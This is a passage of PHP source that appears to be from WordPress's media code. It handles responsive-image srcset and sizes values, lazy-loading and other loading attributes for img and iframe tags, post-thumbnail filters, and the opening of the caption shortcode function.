	 *         @type string $descriptor The descriptor type used in the image candidate string,
	 *                                  either 'w' or 'x'.
	 *         @type int    $value      The source width if paired with a 'w' descriptor, or a
	 *                                  pixel density value if paired with an 'x' descriptor.
	 *     }
	 * }
	 * @param array $size_array     {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id Image attachment ID or 0.
	 */
	$sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id );

	// Only return a 'srcset' value if there is more than one source.
	if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) {
		return false;
	}

	$srcset = '';

	foreach ( $sources as $source ) {
		$srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', ';
	}

	return rtrim( $srcset, ', ' );
}

/**
 * Retrieves the value for an image attachment's 'sizes' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_sizes()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_get_attachment_image_sizes( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * Creates a 'sizes' attribute value for an image.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size          Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order).
 * @param string|null  $image_src     Optional. The URL to the image file. Default null.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @param int          $attachment_id Optional. Image attachment ID. Either `$image_meta` or `$attachment_id`
 *                                    is needed when using the image size name as argument for `$size`. Default 0.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_calculate_image_sizes( $size, $image_src = null, $image_meta = null, $attachment_id = 0 ) {
	$width = 0;

	if ( is_array( $size ) ) {
		$width = absint( $size[0] );
	} elseif ( is_string( $size ) ) {
		if ( ! $image_meta && $attachment_id ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );
		}

		if ( is_array( $image_meta ) ) {
			$size_array = _wp_get_image_size_from_meta( $size, $image_meta );
			if ( $size_array ) {
				$width = absint( $size_array[0] );
			}
		}
	}

	if ( ! $width ) {
		return false;
	}

	// Setup the default 'sizes' attribute.
	$sizes = sprintf( '(max-width: %1$dpx) 100vw, %1$dpx', $width );

	/**
	 * Filters the output of 'wp_calculate_image_sizes()'.
	 *
	 * @since 4.4.0
	 *
	 * @param string       $sizes         A source size value for use in a 'sizes' attribute.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param string|null  $image_src     The URL to the image file or null.
	 * @param array|null   $image_meta    The image meta data as returned by wp_get_attachment_metadata() or null.
	 * @param int          $attachment_id Image attachment ID of the original image or 0.
	 */
	return apply_filters( 'wp_calculate_image_sizes', $sizes, $size, $image_src, $image_meta, $attachment_id );
}

/**
 * Determines if the image meta data is for the image source file.
 *
 * The image meta data is retrieved by attachment post ID. In some cases the post IDs may change.
 * For example when the website is exported and imported at another website. Then the
 * attachment post IDs that are in post_content for the exported website may not match
 * the same attachments at the new website.
 *
 * @since 5.5.0
 *
 * @param string $image_location The full path or URI to the image file.
 * @param array  $image_meta     The attachment meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id  Optional. The image attachment ID. Default 0.
 * @return bool Whether the image meta is for this image file.
 */
function wp_image_file_matches_image_meta( $image_location, $image_meta, $attachment_id = 0 ) {
	$match = false;

	// Ensure the $image_meta is valid.
	if ( isset( $image_meta['file'] ) && strlen( $image_meta['file'] ) > 4 ) {
		// Remove query args in image URI.
		list( $image_location ) = explode( '?', $image_location );

		// Check if the relative image path from the image meta is at the end of $image_location.
		if ( strrpos( $image_location, $image_meta['file'] ) === strlen( $image_location ) - strlen( $image_meta['file'] ) ) {
			$match = true;
		} else {
			// Retrieve the uploads sub-directory from the full size image.
			$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

			if ( $dirname ) {
				$dirname = trailingslashit( $dirname );
			}

			if ( ! empty( $image_meta['original_image'] ) ) {
				$relative_path = $dirname . $image_meta['original_image'];

				if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
					$match = true;
				}
			}

			if ( ! $match && ! empty( $image_meta['sizes'] ) ) {
				foreach ( $image_meta['sizes'] as $image_size_data ) {
					$relative_path = $dirname . $image_size_data['file'];

					if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
						$match = true;
						break;
					}
				}
			}
		}
	}

	/**
	 * Filters whether an image path or URI matches image meta.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $match          Whether the image relative path from the image meta
	 *                               matches the end of the URI or path to the image file.
	 * @param string $image_location Full path or URI to the tested image file.
	 * @param array  $image_meta     The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id  The image attachment ID or 0 if not supplied.
	 */
	return apply_filters( 'wp_image_file_matches_image_meta', $match, $image_location, $image_meta, $attachment_id );
}

/**
 * Determines an image's width and height dimensions based on the source file.
 *
 * @since 5.5.0
 *
 * @param string $image_src     The image source file.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return array|false Array with first element being the width and second element being the height,
 *                     or false if dimensions cannot be determined.
 */
function wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id = 0 ) {
	$dimensions = false;

	// Is it a full size image?
	if (
		isset( $image_meta['file'] ) &&
		str_contains( $image_src, wp_basename( $image_meta['file'] ) )
	) {
		$dimensions = array(
			(int) $image_meta['width'],
			(int) $image_meta['height'],
		);
	}

	if ( ! $dimensions && ! empty( $image_meta['sizes'] ) ) {
		$src_filename = wp_basename( $image_src );

		foreach ( $image_meta['sizes'] as $image_size_data ) {
			if ( $src_filename === $image_size_data['file'] ) {
				$dimensions = array(
					(int) $image_size_data['width'],
					(int) $image_size_data['height'],
				);

				break;
			}
		}
	}

	/**
	 * Filters the 'wp_image_src_get_dimensions' value.
	 *
	 * @since 5.7.0
	 *
	 * @param array|false $dimensions    Array with first element being the width
	 *                                   and second element being the height, or
	 *                                   false if dimensions could not be determined.
	 * @param string      $image_src     The image source file.
	 * @param array       $image_meta    The image meta data as returned by
	 *                                   'wp_get_attachment_metadata()'.
	 * @param int         $attachment_id The image attachment ID. Default 0.
	 */
	return apply_filters( 'wp_image_src_get_dimensions', $dimensions, $image_src, $image_meta, $attachment_id );
}

/**
 * Adds 'srcset' and 'sizes' attributes to an existing 'img' element.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 * @see wp_calculate_image_sizes()
 *
 * @param string $image         An HTML 'img' element to be filtered.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'srcset' and 'sizes' attributes added.
 */
function wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ) {
	// Ensure the image meta exists.
	if ( empty( $image_meta['sizes'] ) ) {
		return $image;
	}

	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	// Bail early if an image has been inserted and later edited.
	if ( preg_match( '/-e[0-9]{13}/', $image_meta['file'], $img_edit_hash )
		&& ! str_contains( wp_basename( $image_src ), $img_edit_hash[0] )
	) {
		return $image;
	}

	$width  = preg_match( '/ width="([0-9]+)"/', $image, $match_width ) ? (int) $match_width[1] : 0;
	$height = preg_match( '/ height="([0-9]+)"/', $image, $match_height ) ? (int) $match_height[1] : 0;

	if ( $width && $height ) {
		$size_array = array( $width, $height );
	} else {
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );
		if ( ! $size_array ) {
			return $image;
		}
	}

	$srcset = wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );

	if ( $srcset ) {
		// Check if there is already a 'sizes' attribute.
		$sizes = strpos( $image, ' sizes=' );

		if ( ! $sizes ) {
			$sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
		}
	}

	if ( $srcset && $sizes ) {
		// Format the 'srcset' and 'sizes' string and escape attributes.
		$attr = sprintf( ' srcset="%s"', esc_attr( $srcset ) );

		if ( is_string( $sizes ) ) {
			$attr .= sprintf( ' sizes="%s"', esc_attr( $sizes ) );
		}

		// Add the srcset and sizes attributes to the image markup.
		return preg_replace( '/<img ([^>]+?)[\/ ]*>/', '<img $1' . $attr . ' />', $image );
	}

	return $image;
}

/**
 * Determines whether to add the `loading` attribute to the specified tag in the specified context.
 *
 * @since 5.5.0
 * @since 5.7.0 Now returns `true` by default for `iframe` tags.
 *
 * @param string $tag_name The tag name.
 * @param string $context  Additional context, like the current filter name
 *                         or the function name from where this was called.
 * @return bool Whether to add the attribute.
 */
function wp_lazy_loading_enabled( $tag_name, $context ) {
	/*
	 * By default add to all 'img' and 'iframe' tags.
	 * See https://html.spec.whatwg.org/multipage/embedded-content.html#attr-img-loading
	 * See https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-loading
	 */
	$default = ( 'img' === $tag_name || 'iframe' === $tag_name );

	/**
	 * Filters whether to add the `loading` attribute to the specified tag in the specified context.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $default  Default value.
	 * @param string $tag_name The tag name.
	 * @param string $context  Additional context, like the current filter name
	 *                         or the function name from where this was called.
	 */
	return (bool) apply_filters( 'wp_lazy_loading_enabled', $default, $tag_name, $context );
}

/**
 * Filters specific tags in post content and modifies their markup.
 *
 * Modifies HTML tags in post content to include new browser and HTML technologies
 * that may not have existed at the time of post creation. These modifications currently
 * include adding `srcset`, `sizes`, and `loading` attributes to `img` HTML tags, as well
 * as adding `loading` attributes to `iframe` HTML tags.
 * Future similar optimizations should be added/expected here.
 *
 * @since 5.5.0
 * @since 5.7.0 Now supports adding `loading` attributes to `iframe` tags.
 *
 * @see wp_img_tag_add_width_and_height_attr()
 * @see wp_img_tag_add_srcset_and_sizes_attr()
 * @see wp_img_tag_add_loading_optimization_attrs()
 * @see wp_iframe_tag_add_loading_attr()
 *
 * @param string $content The HTML content to be filtered.
 * @param string $context Optional. Additional context to pass to the filters.
 *                        Defaults to `current_filter()` when not set.
 * @return string Converted content with images modified.
 */
function wp_filter_content_tags( $content, $context = null ) {
	if ( null === $context ) {
		$context = current_filter();
	}

	$add_iframe_loading_attr = wp_lazy_loading_enabled( 'iframe', $context );

	if ( ! preg_match_all( '/<(img|iframe)\s[^>]+>/', $content, $matches, PREG_SET_ORDER ) ) {
		return $content;
	}

	// List of the unique `img` tags found in $content.
	$images = array();

	// List of the unique `iframe` tags found in $content.
	$iframes = array();

	foreach ( $matches as $match ) {
		list( $tag, $tag_name ) = $match;

		switch ( $tag_name ) {
			case 'img':
				if ( preg_match( '/wp-image-([0-9]+)/i', $tag, $class_id ) ) {
					$attachment_id = absint( $class_id[1] );

					if ( $attachment_id ) {
						/*
						 * If exactly the same image tag is used more than once, overwrite it.
						 * All identical tags will be replaced later with 'str_replace()'.
						 */
						$images[ $tag ] = $attachment_id;
						break;
					}
				}
				$images[ $tag ] = 0;
				break;
			case 'iframe':
				$iframes[ $tag ] = 0;
				break;
		}
	}

	// Reduce the array to unique attachment IDs.
	$attachment_ids = array_unique( array_filter( array_values( $images ) ) );

	if ( count( $attachment_ids ) > 1 ) {
		/*
		 * Warm the object cache with post and meta information for all found
		 * images to avoid making individual database calls.
		 */
		_prime_post_caches( $attachment_ids, false, true );
	}

	// Iterate through the matches in order of occurrence as it is relevant for whether or not to lazy-load.
	foreach ( $matches as $match ) {
		// Filter an image match.
		if ( isset( $images[ $match[0] ] ) ) {
			$filtered_image = $match[0];
			$attachment_id  = $images[ $match[0] ];

			// Add 'width' and 'height' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' width=' ) && ! str_contains( $filtered_image, ' height=' ) ) {
				$filtered_image = wp_img_tag_add_width_and_height_attr( $filtered_image, $context, $attachment_id );
			}

			// Add 'srcset' and 'sizes' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' srcset=' ) ) {
				$filtered_image = wp_img_tag_add_srcset_and_sizes_attr( $filtered_image, $context, $attachment_id );
			}

			// Add loading optimization attributes if applicable.
			$filtered_image = wp_img_tag_add_loading_optimization_attrs( $filtered_image, $context );

			/**
			 * Filters an img tag within the content for a given context.
			 *
			 * @since 6.0.0
			 *
			 * @param string $filtered_image Full img tag with attributes that will replace the source img tag.
			 * @param string $context        Additional context, like the current filter name or the function name from where this was called.
			 * @param int    $attachment_id  The image attachment ID. May be 0 in case the image is not an attachment.
			 */
			$filtered_image = apply_filters( 'wp_content_img_tag', $filtered_image, $context, $attachment_id );

			if ( $filtered_image !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_image, $content );
			}

			/*
			 * Unset image lookup to not run the same logic again unnecessarily if the same image tag is used more than
			 * once in the same blob of content.
			 */
			unset( $images[ $match[0] ] );
		}

		// Filter an iframe match.
		if ( isset( $iframes[ $match[0] ] ) ) {
			$filtered_iframe = $match[0];

			// Add 'loading' attribute if applicable.
			if ( $add_iframe_loading_attr && ! str_contains( $filtered_iframe, ' loading=' ) ) {
				$filtered_iframe = wp_iframe_tag_add_loading_attr( $filtered_iframe, $context );
			}

			if ( $filtered_iframe !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_iframe, $content );
			}

			/*
			 * Unset iframe lookup to not run the same logic again unnecessarily if the same iframe tag is used more
			 * than once in the same blob of content.
			 */
			unset( $iframes[ $match[0] ] );
		}
	}

	return $content;
}

/**
 * Adds optimization attributes to an `img` HTML tag.
 *
 * @since 6.3.0
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with optimization attributes added.
 */
function wp_img_tag_add_loading_optimization_attrs( $image, $context ) {
	$width             = preg_match( '/ width=["\']([0-9]+)["\']/', $image, $match_width ) ? (int) $match_width[1] : null;
	$height            = preg_match( '/ height=["\']([0-9]+)["\']/', $image, $match_height ) ? (int) $match_height[1] : null;
	$loading_val       = preg_match( '/ loading=["\']([A-Za-z]+)["\']/', $image, $match_loading ) ? $match_loading[1] : null;
	$fetchpriority_val = preg_match( '/ fetchpriority=["\']([A-Za-z]+)["\']/', $image, $match_fetchpriority ) ? $match_fetchpriority[1] : null;
	$decoding_val      = preg_match( '/ decoding=["\']([A-Za-z]+)["\']/', $image, $match_decoding ) ? $match_decoding[1] : null;

	/*
	 * Get loading optimization attributes to use.
	 * This must occur before the conditional check below so that even images
	 * that are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'img',
		array(
			'width'         => $width,
			'height'        => $height,
			'loading'       => $loading_val,
			'fetchpriority' => $fetchpriority_val,
			'decoding'      => $decoding_val,
		),
		$context
	);

	// Images should have source for the loading optimization attributes to be added.
	if ( ! str_contains( $image, ' src="' ) ) {
		return $image;
	}

	if ( empty( $decoding_val ) ) {
		/**
		 * Filters the `decoding` attribute value to add to an image. Default `async`.
		 *
		 * Returning a falsey value will omit the attribute.
		 *
		 * @since 6.1.0
		 *
		 * @param string|false|null $value      The `decoding` attribute value. Returning a falsey value
		 *                                      will result in the attribute being omitted for the image.
		 *                                      Otherwise, it may be: 'async', 'sync', or 'auto'. Defaults to false.
		 * @param string            $image      The HTML `img` tag to be filtered.
		 * @param string            $context    Additional context about how the function was called
		 *                                      or where the img tag is.
		 */
		$filtered_decoding_attr = apply_filters(
			'wp_img_tag_add_decoding_attr',
			isset( $optimization_attrs['decoding'] ) ? $optimization_attrs['decoding'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['decoding'] ) && ! $filtered_decoding_attr ) {
			// Unset `decoding` attribute if `$filtered_decoding_attr` is set to `false`.
			unset( $optimization_attrs['decoding'] );
		} elseif ( in_array( $filtered_decoding_attr, array( 'async', 'sync', 'auto' ), true ) ) {
			$optimization_attrs['decoding'] = $filtered_decoding_attr;
		}

		if ( ! empty( $optimization_attrs['decoding'] ) ) {
			$image = str_replace( '<img', '<img decoding="' . esc_attr( $optimization_attrs['decoding'] ) . '"', $image );
		}
	}

	// Images should have dimension attributes for the 'loading' and 'fetchpriority' attributes to be added.
	if ( ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) {
		return $image;
	}

	// Retained for backward compatibility.
	$loading_attrs_enabled = wp_lazy_loading_enabled( 'img', $context );

	if ( empty( $loading_val ) && $loading_attrs_enabled ) {
		/**
		 * Filters the `loading` attribute value to add to an image. Default `lazy`.
		 *
		 * Returning `false` or an empty string will not add the attribute.
		 * Returning `true` will add the default value.
		 *
		 * @since 5.5.0
		 *
		 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
		 *                             the attribute being omitted for the image.
		 * @param string      $image   The HTML `img` tag to be filtered.
		 * @param string      $context Additional context about how the function was called or where the img tag is.
		 */
		$filtered_loading_attr = apply_filters(
			'wp_img_tag_add_loading_attr',
			isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['loading'] ) && ! $filtered_loading_attr ) {
			// Unset `loading` attributes if `$filtered_loading_attr` is set to `false`.
			unset( $optimization_attrs['loading'] );
		} elseif ( in_array( $filtered_loading_attr, array( 'lazy', 'eager' ), true ) ) {
			/*
			 * If the filter changed the loading attribute to "lazy" when a fetchpriority attribute
			 * with value "high" is already present, trigger a warning since those two attribute
			 * values should be mutually exclusive.
			 *
			 * The same warning is present in `wp_get_loading_optimization_attributes()`, and here it
			 * is only intended for the specific scenario where the above filtered caused the problem.
			 */
			if ( isset( $optimization_attrs['fetchpriority'] ) && 'high' === $optimization_attrs['fetchpriority'] &&
				( isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false ) !== $filtered_loading_attr &&
				'lazy' === $filtered_loading_attr
			) {
				_doing_it_wrong(
					__FUNCTION__,
					__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
					'6.3.0'
				);
			}

			// The filtered value will still be respected.
			$optimization_attrs['loading'] = $filtered_loading_attr;
		}

		if ( ! empty( $optimization_attrs['loading'] ) ) {
			$image = str_replace( '<img', '<img loading="' . esc_attr( $optimization_attrs['loading'] ) . '"', $image );
		}
	}

	if ( empty( $fetchpriority_val ) && ! empty( $optimization_attrs['fetchpriority'] ) ) {
		$image = str_replace( '<img', '<img fetchpriority="' . esc_attr( $optimization_attrs['fetchpriority'] ) . '"', $image );
	}

	return $image;
}

/**
 * Adds `width` and `height` attributes to an `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'width' and 'height' attributes added.
 */
function wp_img_tag_add_width_and_height_attr( $image, $context, $attachment_id ) {
	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	/**
	 * Filters whether to add the missing `width` and `height` HTML attributes to the img tag. Default `true`.
	 *
	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_width_and_height_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );

		if ( $size_array ) {
			// If the width is enforced through style (e.g. in an inline image), calculate the dimension attributes.
			$style_width = preg_match( '/style="width:\s*(\d+)px;"/', $image, $match_width ) ? (int) $match_width[1] : 0;
			if ( $style_width ) {
				$size_array[1] = (int) round( $size_array[1] * $style_width / $size_array[0] );
				$size_array[0] = $style_width;
			}

			$hw = trim( image_hwstring( $size_array[0], $size_array[1] ) );
			return str_replace( '<img', "<img {$hw}", $image );
		}
	}

	return $image;
}

/**
 * Adds `srcset` and `sizes` attributes to an existing `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'loading' attribute added.
 */
function wp_img_tag_add_srcset_and_sizes_attr( $image, $context, $attachment_id ) {
	/**
	 * Filters whether to add the `srcset` and `sizes` HTML attributes to the img tag. Default `true`.
	 *
	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_srcset_and_sizes_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		return wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id );
	}

	return $image;
}

/**
 * Adds `loading` attribute to an `iframe` HTML tag.
 *
 * @since 5.7.0
 *
 * @param string $iframe  The HTML `iframe` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `iframe` tag with `loading` attribute added.
 */
function wp_iframe_tag_add_loading_attr( $iframe, $context ) {
	/*
	 * Iframes with fallback content (see `wp_filter_oembed_result()`) should not be lazy-loaded because they are
	 * visually hidden initially.
	 */
	if ( str_contains( $iframe, ' data-secret="' ) ) {
		return $iframe;
	}

	/*
	 * Get loading attribute value to use. This must occur before the conditional check below so that even iframes that
	 * are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'iframe',
		array(
			/*
			 * The concrete values for width and height are not important here for now
			 * since fetchpriority is not yet supported for iframes.
			 * TODO: Use WP_HTML_Tag_Processor to extract actual values once support is
			 * added.
			 */
			'width'   => str_contains( $iframe, ' width="' ) ? 100 : null,
			'height'  => str_contains( $iframe, ' height="' ) ? 100 : null,
			// This function is never called when a 'loading' attribute is already present.
			'loading' => null,
		),
		$context
	);

	// Iframes should have source and dimension attributes for the `loading` attribute to be added.
	if ( ! str_contains( $iframe, ' src="' ) || ! str_contains( $iframe, ' width="' ) || ! str_contains( $iframe, ' height="' ) ) {
		return $iframe;
	}

	$value = isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false;

	/**
	 * Filters the `loading` attribute value to add to an iframe. Default `lazy`.
	 *
	 * Returning `false` or an empty string will not add the attribute.
	 * Returning `true` will add the default value.
	 *
	 * @since 5.7.0
	 *
	 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
	 *                             the attribute being omitted for the iframe.
	 * @param string      $iframe  The HTML `iframe` tag to be filtered.
	 * @param string      $context Additional context about how the function was called or where the iframe tag is.
	 */
	$value = apply_filters( 'wp_iframe_tag_add_loading_attr', $value, $iframe, $context );

	if ( $value ) {
		if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) {
			$value = 'lazy';
		}

		return str_replace( '<iframe', '<iframe loading="' . esc_attr( $value ) . '"', $iframe );
	}

	return $iframe;
}

/**
 * Adds a 'wp-post-image' class to post thumbnails. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 * @return string[] Modified array of attributes including the new 'wp-post-image' class.
 */
function _wp_post_thumbnail_class_filter( $attr ) {
	$attr['class'] .= ' wp-post-image';
	return $attr;
}

/**
 * Adds '_wp_post_thumbnail_class_filter' callback to the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_add( $attr ) {
	add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_class_filter' callback from the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_remove( $attr ) {
	remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Overrides the context used in {@see wp_get_attachment_image()}. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 *
 * @param string $context The context for rendering an attachment image.
 * @return string Modified context set to 'the_post_thumbnail'.
 */
function _wp_post_thumbnail_context_filter( $context ) {
	return 'the_post_thumbnail';
}

/**
 * Adds the '_wp_post_thumbnail_context_filter' callback to the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_add() {
	add_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_context_filter' callback from the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_remove() {
	remove_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

add_shortcode( 'wp_caption', 'img_caption_shortcode' );
add_shortcode( 'caption', 'img_caption_shortcode' );

/**
 * Builds the Caption shortcode output.
 *
 * Allows a plugin to replace the content that would otherwise be returned. The
 * filter is {@see 'img_caption_shortcode'} and passes an empty string, the attr
 * parameter and the content parameter values.
 *
 * The supported attributes for the shortcode are 'id', 'caption_id', 'align',
 * 'width', 'caption', and 'class'.
 *
 * @since 2.6.0
 * @since 3.9.0 The `class` attribute was added.
 * @since 5.1.0 The `caption_id` attribute was added.
 * @since 5.9.0 The `$content` parameter default value changed from `null` to `''`.
 *
 * @param array  $attr {
 *     Attributes of the caption shortcode.
 *
 *     @type string $id         ID of the image and caption container element, i.e. `<figure>` or `<div>`.
 *     @type string $caption_id ID of the caption element, i.e. `<figcaption>` or `<p>`.
 *     @type string $align      Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft',
 *                              'aligncenter', alignright', 'alignnone'.
 *     @type int    $width      The width of the caption, in pixels.
 *     @type string $caption    The caption text.
 *     @type string $class      Additional class name(s) added to the caption container.
 * }
 * @param string $content Optional. Shortcode content. Default empty string.
 * @return string HTML content to display the caption.
 */
function img_caption_shortcode( $attr, $content = '' ) {
	// New-style shortcode with the caption inside the shortcode with the link and image tags.
	if ( ! isset( $attr['caption'] ) ) {
		if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) {
			$content         = $matches[1];
			$attr['caption'] = trim( $matches[2] );
		}
	} elseif ( str_contains( $attr['caption'], '<' ) ) {
		$attr['caption'] = wp_kses( $attr['caption'], 'post' );
	}

	/**
	 * Filters the default caption shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default caption template.
	 *
	 * @since 2.6.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param string $output  The caption output. Default empty.
	 * @param array  $attr    Attributes of the caption shortcode.
	 * @param string $content The image element, possibly wrapped in a hyperlink.
	 */
	$output = apply_filters( 'img_caption_shortcode', '', $attr, $content );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'id'         => '',
			'caption_id' => '',
			'align'      => 'alignnone',
			'width'      => '',
			'caption'    => '',
			'class'      => '',
		),
		$attr,
		'caption'
	);

	$atts['width'] = (int) $atts['width'];

	if ( $atts['width'] < 1 || empty( $atts['caption'] ) ) {
		return $content;
	}

	$id          = '';
	$caption_id  = '';
	$describedby = '';

	if ( $atts['id'] ) {
		$atts['id'] = sanitize_html_class( $atts['id'] );
		$id         = 'id="' . esc_attr( $atts['id'] ) . '" ';
	}

	if ( $atts['caption_id'] ) {
		$atts['caption_id'] = sanitize_html_class( $atts['caption_id'] );
	} elseif ( $atts['id'] ) {
		$atts['caption_id'] = 'caption-' . str_replace( '_', '-', $atts['id'] );
